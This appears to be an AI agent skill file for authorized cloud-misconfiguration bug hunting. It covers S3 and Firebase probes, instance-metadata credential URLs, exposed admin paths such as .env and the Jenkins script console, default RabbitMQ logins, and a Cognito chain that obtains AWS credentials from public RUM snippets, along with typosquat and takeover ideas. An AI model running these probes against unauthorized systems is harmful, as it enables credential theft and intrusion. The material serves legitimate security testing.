⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"AUTHORIZED_SYNTHETIC_MARKER"' # write
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then /script (Groovy console) = RCE, and /credentials + /scriptText = stored API tokens and source disclosure. Disclosed: reports/231460.
Probe RabbitMQ management (http://TARGET:15672/, API :15672/api/overview) and AMQP :5672; try default guest:guest (works off-localhost when loopback_users is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.
For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
# Historic compatibility example, not a current license/support statement.
# Select a supported reviewed LocalStack release for a disposable lab.
docker run -d --name lab-localstack -p 127.0.0.1:14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
Checksum compatibility is version-specific, not a universal failure rule. The referenced upstream verification file is not bundled; no reproducible local run is claimed here.
AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to dataplane.rum.<region>.amazonaws.com. The snippet's AppMonitor config contains an identityPoolId (Cognito) and guestRoleArn (IAM role) — both public by design. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (rum:PutRumEvents on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in cloud-iam-deep → Cognito Identity Pool chain.
Snippet-style (most common, embedded in <head>):
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
NPM-style (aws-rum-web package):
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"][0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"][a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36}['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
Chain A — Credential extraction (Critical when guestRole is over-permissioned). Once identityPoolId is extracted from the page, an assessor may test only after explicit scope for temporary credentials and the exact minimal follow-up action:
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
# Do not enumerate unrelated services; use the single approved canary resource/action.
# Broad permission enumeration is outside a minimal confirmation test.
Full chain documented in cloud-iam-deep → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.
Chain B — Telemetry data-handling review. AWS-owned endpoints are not automatically trusted by every enterprise allowlist. Review whether telemetry can contain sensitive fields and whether egress/DLP policies inspect the payload. Use only a synthetic marker in an owned test monitor if a write test is explicitly authorized; never transmit stolen or production data to demonstrate a finding. Record monitor authorization, custom-event settings, retention and receiver access. Endpoint branding does not prove a blind spot.
Chain C — DOM injection via snippet source poisoning. Many customers either self-host cwr.js on their own CDN (assets.target.com/cwr.js) or bundle aws-rum-web and serve from static.target.com/main.<hash>.js. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against aws-rum-webb) gives persistent JS execution on every page-load with the trust of the aws-rum-web SDK — including its already-granted Cognito permissions.
Chain D — Telemetry injection / dashboard poisoning. With the public identityPoolId + applicationId, an external attacker can flood PutRumEvents with fake error spikes (drown real alerts), potentially affect downstream consumers if those consumers render event data unsafely (console XSS is not established by this bundle), and inflate billable RUM event counts (financial DoS).
| Finding | Severity | Justification |
|---|---|---|
guestRoleArn with *:* or wildcards on multiple services | Potentially critical | Anonymous full AWS access |
guestRoleArn with s3:*, dynamodb:*, secretsmanager:*, lambda:Invoke* on production resources | Impact-dependent | Data exfil / RCE depending on resource |
guestRoleArn with cognito-identity:* or iam:PassRole | Impact-dependent | Not sufficient alone: evaluate allowed resources, trust and executable service actions |
guestRoleArn with only rum:PutRumEvents + endpoint-scoped resource | Informational | Documented, intended config |
RUM userDetails logging PII into events viewable in CloudWatch console | Impact-dependent | Sensitive data exposure via dashboard sharing |
RUM AppMonitor accepts PutRumEvents from arbitrary internet sources (telemetry injection) | Impact-dependent | Dashboard poisoning, alert evasion, billing DoS |
Self-hosted cwr.js on takeoverable subdomain | Impact-dependent when verified | Persistent stored XSS across every customer page |
AWS documents Cognito unauthenticated identities scoped to rum:PutRumEvents as an intended configuration, and also supports public resource policies for event submission. Public identifiers or accepted telemetry alone are not proof of a vulnerability. Validate effective permissions and concrete impact under the engagement rules.
identityPoolId from page source.get-id succeeds without auth).get-credentials-for-identity returns STS creds.aws sts get-caller-identity and screenshot the role ARN.hunt-subdomain — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + hunt-subdomain → unclaimed CNAME points to bucket → assets.target.com takeover.cloud-iam-deep — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in .env → cloud-iam-deep enumeration → cross-service iam:PassRole escalation.hunt-ssrf — Instance metadata is normally reachable from its instance-local network context, subject to IMDS configuration and hop limits; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.supply-chain-attack-recon — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.security-arsenal — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.triage-validation — Apply the Unique-Marker gate: a write test is permitted only when explicitly authorized; use a unique synthetic marker, verify exact scope/read-back and authorized cleanup. Otherwise report the limitation without writing.triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.